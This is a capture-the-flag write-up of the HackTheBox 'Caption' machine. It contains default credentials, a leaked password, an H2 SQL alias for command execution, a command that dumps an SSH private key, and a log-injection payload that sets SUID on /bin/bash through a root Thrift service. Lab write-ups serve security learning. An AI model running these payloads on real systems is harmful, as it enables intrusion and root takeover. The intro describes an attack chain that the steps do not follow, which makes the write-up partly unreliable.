Caption HackTheBox Writeup


Caption is a Hard-difficulty Linux box, showcasing the chaining of niche vulnerabilities arising from different technologies such as HAProxy and Varnish. It begins with default credentials granting access to GitBucket, which exposes credentials for a web portal login through commits. The application caches a frequently visited page by an admin user, whose session can be hijacked by exploiting Web Cache Deception (WCD) via response poisoning exploited through a Cross-Site Scripting (XSS) payload. HAProxy controls can be bypassed by establishing an HTTP/2 cleartext tunnel, also known as an H2C Smuggling Attack, enabling the exploitation of a locally running service vulnerable to path traversal ([CVE-2023-37474](https://security.snyk.io/vuln/SNYK-PYTHON-COPYPARTY-5777718)). A foothold is gained by reading the SSH ECDSA private key. Root privileges are obtained by exploiting a command injection vulnerability in the Apache Thrift service running as root.
Machine Info:
IP:
10.10.11.33
Difficulty: Hard
OS: Linux
Category:
Enumeration
Nmap Scan
Nmap scan report for caption.htb (10.10.11.33)
Host is up (0.76s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
The initial enumeration of caption.htb reveals three open ports:
22/tcp - SSH
80/tcp - HTTP (Caption Portal Login)
8080/tcp - GitBucket (Web App)
Navigating to http://caption.htb:8080
displays the GitBucket login interface.
GitBucket Exploit
- Credentials: root:root (Defailt creds for gitbucket)
Once logged in, you find a commit disclosing a password for the user "margo":
User:
margo
Password:
vFr&cS2#0!
You also discover an H2 database viewer at:
Command Execution via H2 Database
H2 allows defining custom Java methods via SQL aliases. A remote command execution alias is created
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
return s.hasNext() ? s.next() : "";
}
$$;
Executing commands:
CALL SHELLEXEC('id');
Returns:
uid=1000(margo) gid=1000(margo) groups=1000(margo)
We can also dump the SSH private key of the user "margo":
CALL SHELLEXEC('cat /home/margo/.ssh/id_ecdsa');
SSH Access
Extract the private key, save it, and adjust permissions:
cat <<EOF > id_ecdsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQSANe5kEY+DN1xSvPtTZVur+DWGq94h1gSFMvzv5iec
YwuC7ymT7QWZM+42IIVZQ5GqkIE5uLHyqtVKytQu5aCLAAAAoACUCKoAlAiqAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIA17mQRj4M3XFK8+1NlW6v4NYar3iHWBIUy/O/m
J5xjC4LvKZPtBZkz7jYghVlDkaqQgTm4sfKq1UrK1C7loIsAAAAhAOZNLY0cYdeM6shGDro9tude
7oBNK+hIIh0AmL8JK+ShAAAAAAECAwQFBgc=
-----END OPENSSH PRIVATE KEY-----
EOF
Save and chmod the key locally:
chmod 600 id_ecdsa
ssh -i id_ecdsa margo@caption.htb
Internal Enumeration & Port Forwarding
To enumerate internal services, set up port forwarding to access internal services:
ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb
This reveals a Thrift-based service running locally.
Privilege Escalation: Log Parser Exploitation
To escalate privileges, we can exploit log parsing to run a payload.
Step 1: Create Malicious Log File
echo '127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #' > /tmp/malicious.log
Step 2: Create Payload Script
echo 'chmod +s /bin/bash' > /tmp/payload.sh
pip download thrift
scp -i /home/kratos/HTB/Caption/id_ecdsa thrift-*.tar.gz margo@caption.htb:/tmp
thrift-0.20.0.tar.gz
Thrift Client Setup
Create a Thrift file log_service.thrift:
thrift
namespace go log_service
service LogService {
string ReadLogFile(1: string filePath)
}
Generate the Thrift client:
thrift -r --gen py log_service.thrift
Create a Python client client.py:
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
def main():
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = LogService.Client(protocol)
transport.open()
try:
log_file_path = "/tmp/malicious.log"
response = client.ReadLogFile(log_file_path)
print("Server response:", response)
except Thrift.TException as tx:
print(f"Thrift exception: {tx}")
transport.close()
if __name__ == '__main__':
main()
Install Thrift and run the client:
pip3 install thrift
python3 [client.py](<http://client.py/>)
Output:
Server response: Log file processed
Privilege Escalation
After the malicious payload runs, verify the SUID bit on /bin/bash:
ls -l /bin/bash
/bin/bash -p
whoami
You are now root.
Conclusion
The Caption box illustrates how default credentials, exposed development tools, and improper log parsing can lead to full system compromise. It starts with accessing GitBucket using factory credentials, leading to remote code execution via the H2 console. With a foothold as margo
, the attacker leverages an insecure Thrift service to escalate privileges by crafting a malicious log file that executes commands with elevated permissions.
Subscribe to my newsletter
Read articles from Amal PK directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Amal PK
Amal PK
I'm a Security Analyst in cybersecurity, focused on keeping applications safe and identifying vulnerabilities. I specialize in application security, analyze and fortify systems against threats, and communicate effectively in fast-paced environments. I've excelled in CTF challenges, showcasing my ability to tackle complex security issues, and I'm committed to continuous learning and innovation in the field.